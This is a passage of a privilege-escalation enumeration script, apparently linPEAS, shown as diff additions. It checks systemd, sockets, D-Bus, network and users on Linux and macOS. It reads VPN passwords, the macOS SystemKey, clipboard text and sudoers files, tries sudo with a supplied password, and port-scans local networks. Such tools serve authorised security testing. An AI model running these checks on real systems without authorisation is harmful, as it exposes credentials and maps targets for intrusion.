SPStartupItemDataType + echo "" + + print_2title "Emond scripts" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond" + ls -l /private/var/db/emondClients + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PCS) Services + if [ "$EXTRA_CHECKS" ]; then + print_2title "Services" + print_info "Search for outdated versions" + (service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl" + echo "" + fi +fi + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PSC) systemd PATH + print_2title "Systemd PATH" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths" + systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" + WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") + echo "" +fi + +#-- PSC) .service files +#TODO: .service files in MACOS are folders +print_2title "Analyzing .service files" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services" +printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do + if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g" + fi + servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths + printf "%s\n" "$servicebinpaths" | while read sp; do + if [ -w "$sp" ]; then + echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g" + fi + done + relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/") + relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null) + if [ "$relpath1" ] || [ "$relpath2" ]; then + if [ "$WRITABLESYSTEMDPATH" ]; then + echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},"; + else + echo "$s could be executing some relative path" + fi + fi + fi +done +if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi +echo "" + +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PSC) Timers + print_2title "System timers" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" + (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found + echo "" +fi + +#-- PSC) .timer files +print_2title "Analyzing .timer files" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" +printf "%s\n" "$PSTORAGE_TIMER" | while read t; do + if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "$t" | sed -${E} "s,.*,${SED_RED},g" + fi + timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2) + printf "%s\n" "$timerbinpaths" | while read tb; do + if [ -w "$tb" ]; then + echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g" + fi + done + #relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`" + #for rp in "$relpath"; do + # echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g" + #done +done +echo "" + +#-- PSC) .socket files +#TODO: .socket files in MACOS are folders +if ! [ "$IAMROOT" ]; then + print_2title "Analyzing .socket files" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" + printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g" + fi + socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') + printf "%s\n" "$socketsbinpaths" | while read sb; do + if [ -w "$sb" ]; then + echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g" + fi + done + socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') + printf "%s\n" "$socketslistpaths" | while read sl; do + if [ -w "$sl" ]; then + echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g"; + fi + done + done + echo "" + + if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unix Sockets Listening" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" + # Search sockets using netstat and ss + unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1) + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+") + fi + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) + fi + unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/") + fi + + if ! [ "$SEARCH_IN_FOLDER" ]; then + # But also search socket files + unix_scks_list2=$(find / -type s 2>/dev/null) + else + unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null) + fi + + # Detele repeated dockets and check permissions + (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do + perms="" + if [ -r "$l" ]; then + perms="Read " + fi + if [ -w "$l" ];then + perms="${perms}Write" + fi + + if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then + CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')" + if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then + perms="${perms} - Can Connect" + else + perms="${perms} - Cannot Connect" + fi + fi + + if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g"; + else + echo "$l" | sed -${E} "s,$l,${SED_RED},g" + echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g" + # Try to contact the socket + socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null) + if [ $? -eq 0 ]; then + owner=$(ls -l "$s" | cut -d ' ' -f 3) + echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" + echo "$socketcurl" | head -n 30 + fi + fi + done + echo "" +fi + +#-- PSC) Writable and weak policies in D-Bus config files +print_2title "D-Bus config files" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" +if [ "$PSTORAGE_DBUS" ]; then + printf "%s\n" "$PSTORAGE_DBUS" | while read d; do + for f in $d/*; do + if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then + echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g" + fi + + genpol=$(grep "" "$f" 2>/dev/null) + if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi + #if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi + + userpol=$(grep "/dev/null | grep -v "root") + if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi + #for g in `groups`; do + # if [ "`grep \"\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi + #done + grppol=$(grep "/dev/null | grep -v "root") + if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi + + #TODO: identify allows in context="default" + done + done +fi +echo "" + +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "D-Bus Service Objects list" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" + dbuslist=$(busctl list 2>/dev/null) + if [ "$dbuslist" ]; then + busctl list | while read line; do + echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; + if ! echo "$line" | grep -qE "$dbuslistG"; then + srvc_object=$(echo $line | cut -d " " -f1) + srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ') + if [ "$srvc_object_info" ]; then + echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," + fi + fi + done + else echo_not_found "busctl" + fi +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q network_information; then +print_title "Network Information" +########################################### +#---------) Network Information (---------# +########################################### + +if [ "$MACOS" ]; then + print_2title "Network Capabilities" + warn_exec system_profiler SPNetworkDataType + echo "" +fi + +#-- NI) Hostname, hosts and DNS +print_2title "Hostname, hosts and DNS" +cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null +warn_exec dnsdomainname 2>/dev/null +echo "" + +#-- NI) /etc/inetd.conf +if [ "$EXTRA_CHECKS" ]; then + print_2title "Content of /etc/inetd.conf & /etc/xinetd.conf" + (cat /etc/inetd.conf /etc/xinetd.conf 2>/dev/null | grep -v "^$" | grep -Ev "\W+\#|^#" 2>/dev/null) || echo_not_found "/etc/inetd.conf" + echo "" +fi + +#-- NI) Interfaces +print_2title "Interfaces" +cat /etc/networks 2>/dev/null +(ifconfig || ip a || (cat /proc/net/dev; cat /proc/net/fib_trie; cat /proc/net/fib_trie6)) 2>/dev/null +echo "" + +#-- NI) Neighbours +if [ "$EXTRA_CHECKS" ]; then + print_2title "Networks and neighbours" + if [ "$MACOS" ]; then + netstat -rn 2>/dev/null + else + (route || ip n || cat /proc/net/route) 2>/dev/null + fi + (arp -e || arp -a || cat /proc/net/arp) 2>/dev/null + echo "" +fi + +if [ "$MACPEAS" ]; then + print_2title "Firewall status" + warn_exec system_profiler SPFirewallDataType +fi + +#-- NI) Iptables +if [ "$EXTRA_CHECKS" ]; then + print_2title "Iptables rules" + (timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null) 2>/dev/null || echo_not_found "iptables rules" + echo "" +fi + +#-- NI) Ports +print_2title "Active Ports" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports" +( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED},g" +echo "" + +#-- NI) MacOS hardware ports +if [ "$MACPEAS" ] && [ "$EXTRA_CHECKS" ]; then + print_2title "Hardware Ports" + networksetup -listallhardwareports + echo "" + + print_2title "VLANs" + networksetup -listVLANs + echo "" + + print_2title "Wifi Info" + networksetup -getinfo Wi-Fi + echo "" + + print_2title "Check Enabled Proxies" + scutil --proxy + echo "" + + print_2title "Wifi Proxy URL" + networksetup -getautoproxyurl Wi-Fi + echo "" + + print_2title "Wifi Web Proxy" + networksetup -getwebproxy Wi-Fi + echo "" + + print_2title "Wifi FTP Proxy" + networksetup -getftpproxy Wi-Fi + echo "" +fi + +#-- NI) tcpdump +print_2title "Can I sniff with tcpdump?" +timeout 1 tcpdump >/dev/null 2>&1 +if [ $? -eq 124 ]; then #If 124, then timed out == It worked + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing" + echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," +else echo_no +fi +echo "" + +#-- NI) Internet access +if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then + print_2title "Internet Access?" + check_tcp_80 2>/dev/null & + check_tcp_443 2>/dev/null & + check_icmp 2>/dev/null & + check_dns 2>/dev/null & + wait + echo "" +fi + +if [ "$AUTO_NETWORK_SCAN" ]; then + if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then + printf $RED"[-] $SCAN_BAN_BAD\n$NC" + echo "The network is not going to be scanned..." + + elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then + printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC" + echo "The network is not going to be scanned..." + + else + print_2title "Scanning local networks (using /24)" + + if ! [ "$PING" ] && ! [ "$FPING" ]; then + printf $RED"[-] $DISCOVER_BAN_BAD\n$NC" + fi + + select_nc + local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") + printf "%s\n" "$local_ips" | while read local_ip; do + if ! [ -z "$local_ip" ]; then + print_3title "Discovering hosts in $local_ip/24" + + if [ "$PING" ] || [ "$FPING" ]; then + discover_network "$local_ip/24" | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Network Discovery" | grep -v "Network Discovery" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > $Wfolder/.ips.tmp + fi + + discovery_port_scan "$local_ip/24" 22 | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' | grep -A 256 "Ports going to be scanned" | grep -v "Ports going to be scanned" | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' >> $Wfolder/.ips.tmp + + sort $Wfolder/.ips.tmp | uniq > $Wfolder/.ips + rm $Wfolder/.ips.tmp 2>/dev/null + + while read disc_ip; do + me="" + if [ "$disc_ip" = "$local_ip" ]; then + me=" (local)" + fi + + echo "Scanning top ports of ${disc_ip}${me}" + (tcp_port_scan "$disc_ip" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null + echo "" + done < $Wfolder/.ips + + rm $Wfolder/.ips 2>/dev/null + echo "" + fi + done + + print_3title "Scanning top ports of host.docker.internal" + (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null + echo "" + fi +fi + +if [ "$MACOS" ]; then + print_2title "Any MacOS Sharing Service Enabled?" + rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l); + scrShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.5900" | wc -l); + flShrng=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep -E "\*.88|\*.445|\*.548" | wc -l); + rLgn=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.22" | wc -l); + rAE=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.3031" | wc -l); + bmM=$(netstat -na | grep LISTEN | grep -E 'tcp4|tcp6' | grep "*.4488" | wc -l); + printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharing: %s\nFile Sharing: %s\nRemote Login: %s\nRemote Mgmt: %s\nRemote Apple Events: %s\nBack to My Mac: %s\n\n" "$scrShrng" "$flShrng" "$rLgn" "$rmMgmt" "$rAE" "$bmM"; + echo "" + print_2title "VPN Creds" + system_profiler SPNetworkLocationDataType | grep -A 5 -B 7 ": Password" | sed -${E} "s,Password|Authorization Name.*,${SED_RED}," + echo "" + + if [ "$EXTRA_CHECKS" ]; then + print_2title "Bluetooth Info" + warn_exec system_profiler SPBluetoothDataType + echo "" + + print_2title "Ethernet Info" + warn_exec system_profiler SPEthernetDataType + echo "" + + print_2title "USB Info" + warn_exec system_profiler SPUSBDataType + echo "" + fi +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q users_information; then +print_title "Users Information" +########################################### +#----------) Users Information (----------# +########################################### + +#-- UI) My user +print_2title "My user" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users" +(id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" +echo "" + +if [ "$MACPEAS" ];then + print_2title "Current user Login and Logout hooks" + defaults read $HOME/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook" + echo "" + + print_2title "All Login and Logout hooks" + defaults read /Users/*/Library/Preferences/com.apple.loginwindow.plist 2>/dev/null | grep -e "Hook" + defaults read /private/var/root/Library/Preferences/com.apple.loginwindow.plist + echo "" + + print_2title "Keychains" + print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#chainbreaker" + security list-keychains + echo "" + + print_2title "SystemKey" + ls -l /var/db/SystemKey + if [ -r "/var/db/SystemKey" ]; then + echo "You can read /var/db/SystemKey" | sed -${E} "s,.*,${SED_RED_YELLOW},"; + hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey | sed -${E} "s,.*,${SED_RED_YELLOW},"; + fi + echo "" +fi + +#-- UI) PGP keys? +print_2title "Do I have PGP keys?" +command -v gpg 2>/dev/null || echo_not_found "gpg" +gpg --list-keys 2>/dev/null +command -v netpgpkeys 2>/dev/null || echo_not_found "netpgpkeys" +netpgpkeys --list-keys 2>/dev/null +command -v netpgp 2>/dev/null || echo_not_found "netpgp" +echo "" + +#-- UI) Clipboard and highlighted text +if [ "$(command -v xclip 2>/dev/null)" ] || [ "$(command -v xsel 2>/dev/null)" ] || [ "$(command -v pbpaste 2>/dev/null)" ] || [ "$DEBUG" ]; then + print_2title "Clipboard or highlighted text?" + if [ "$(command -v xclip 2>/dev/null)" ]; then + echo "Clipboard: "$(xclip -o -selection clipboard 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "Highlighted text: "$(xclip -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + elif [ "$(command -v xsel 2>/dev/null)" ]; then + echo "Clipboard: "$(xsel -ob 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + echo "Highlighted text: "$(xsel -o 2>/dev/null) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + elif [ "$(command -v pbpaste 2>/dev/null)" ]; then + echo "Clipboard: "$(pbpaste) | sed -${E} "s,$pwd_inside_history,${SED_RED}," + else echo_not_found "xsel and xclip" + fi + echo "" +fi + +#-- UI) Sudo -l +print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" +if [ "$PASSWORD" ]; then + (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo" +fi +( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers" +if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then + echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," +fi +for filename in /etc/sudoers.d/*; do + if [ -r "$filename" ]; then + echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" + grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" + fi +done +echo "" + +#-- UI) Sudo tokens +print_2title "Checking sudo tokens" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens" +ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" +if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then + echo "ptrace protection is disabled (0), so sudo tokens could be abused" | sed "s,is disabled,${SED_RED},g"; + + if [ "$(command -v gdb 2>/dev/null)" ]; then + echo "gdb was found in PATH" | sed -${E} "s,.*,${SED_RED},g"; + fi + + if [ "$CURRENT_USER_PIVOT_PID" ]; then + echo "The current user proc $CURRENT_USER_PIVOT_PID is the parent of a different user proccess" | sed -${E} "s,.*,${SED_RED},g"; + fi + + if [ -f "$HOME/.sudo_as_admin_successful" ]; then + echo "Current user has .sudo_as_admin_successful file, so he can execute with sudo" | sed -${E} "s,.*,${SED_RED},"; + fi + + if ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -qE '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$'; then + echo "Current user has other interactive shells running: " | sed -${E} "s,.*,${SED_RED},g"; + ps -eo pid,command -u "$(id -u)" | grep -v "$PPID" | grep -v " " | grep -E '(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' + fi + +else + echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; + +fi +echo "" + +#-- UI) Doas +if [ -f "/etc/doas.conf" ] || [ "$DEBUG" ]; then + print_2title "Checking doas.conf" + doas_dir_name=$(dirname "$(command -v doas)" 2>/dev/null) + if [ "$(cat /etc/doas.conf $doas_dir_name/doas.conf $doas_dir_name/../etc/doas.conf $doas_dir_name/etc/doas.conf 2>/dev/null)" ]; then + cat /etc/doas.conf "$doas_dir_name/doas.conf" "$doas_dir_name/../etc/doas.conf" "$doas_dir_name/etc/doas.conf" 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_RED}," | sed "s,root,${SED_RED}," | sed "s,nopass,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," + else echo_not_found "doas.conf" + fi + echo "" +fi + +#-- UI) Pkexec policy +print_2title "Checking Pkexec policy" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2" +(cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" +echo "" + +#-- UI) Superusers +print_2title "Superusers" +awk -F: '($3 == "0") {print}' /etc/passwd 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED_YELLOW}," | sed "s,root,${SED_RED}," +echo "" + +#-- UI) Users with console +print_2title "Users with console" +if [ "$MACPEAS" ]; then + dscl . list /Users | while read uname; do + ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) + if grep -q "$ushell" /etc/shells; then #Shell user + dscl . -read "/Users/$uname" UserShell RealName RecordName Password NFSHomeDirectory 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + echo "" + fi + done +else + no_shells=$(grep -Ev "sh$" /etc/passwd 2>/dev/null | cut -d ':' -f 7 | sort | uniq) + unexpected_shells="" + printf "%s\n" "$no_shells" | while read f; do + if $f -c 'whoami' 2>/dev/null | grep -q "$USER"; then + unexpected_shells="$f\n$unexpected_shells" + fi + done + grep "sh$" /etc/passwd 2>/dev/null | sort | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + if [ "$unexpected_shells" ]; then + printf "%s" "These unexpected binaries are acting like shells:\n$unexpected_shells" | sed -${E} "s,/.*,${SED_RED},g" + echo "Unexpected users with shells:" + printf "%s\n" "$unexpected_shells" | while read f; do + if [ "$f" ]; then + grep -E "${f}$" /etc/passwd | sed -${E} "s,/.*,${SED_RED},g" + fi + done + fi +fi +echo "" + +#-- UI) All users & groups +print_2title "All users & groups" +if [ "$MACPEAS" ]; then + dscl . list /Users | while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" +else + cut -d":" -f1 /etc/passwd 2>/dev/null| while read i; do id $i;done 2>/dev/null | sort | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" +fi +echo "" + +#-- UI) Login now +print_2title "Login now" +(w || who || finger || users) 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," +echo "" + +#-- UI) Last logons +print_2title "Last logons" +(last -Faiw || last) 2>/dev/null | tail | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_RED}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," +echo "" + +#-- UI) Login info +print_2title "Last time logon each user" +lastlog 2>/dev/null | grep -v "Never" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed 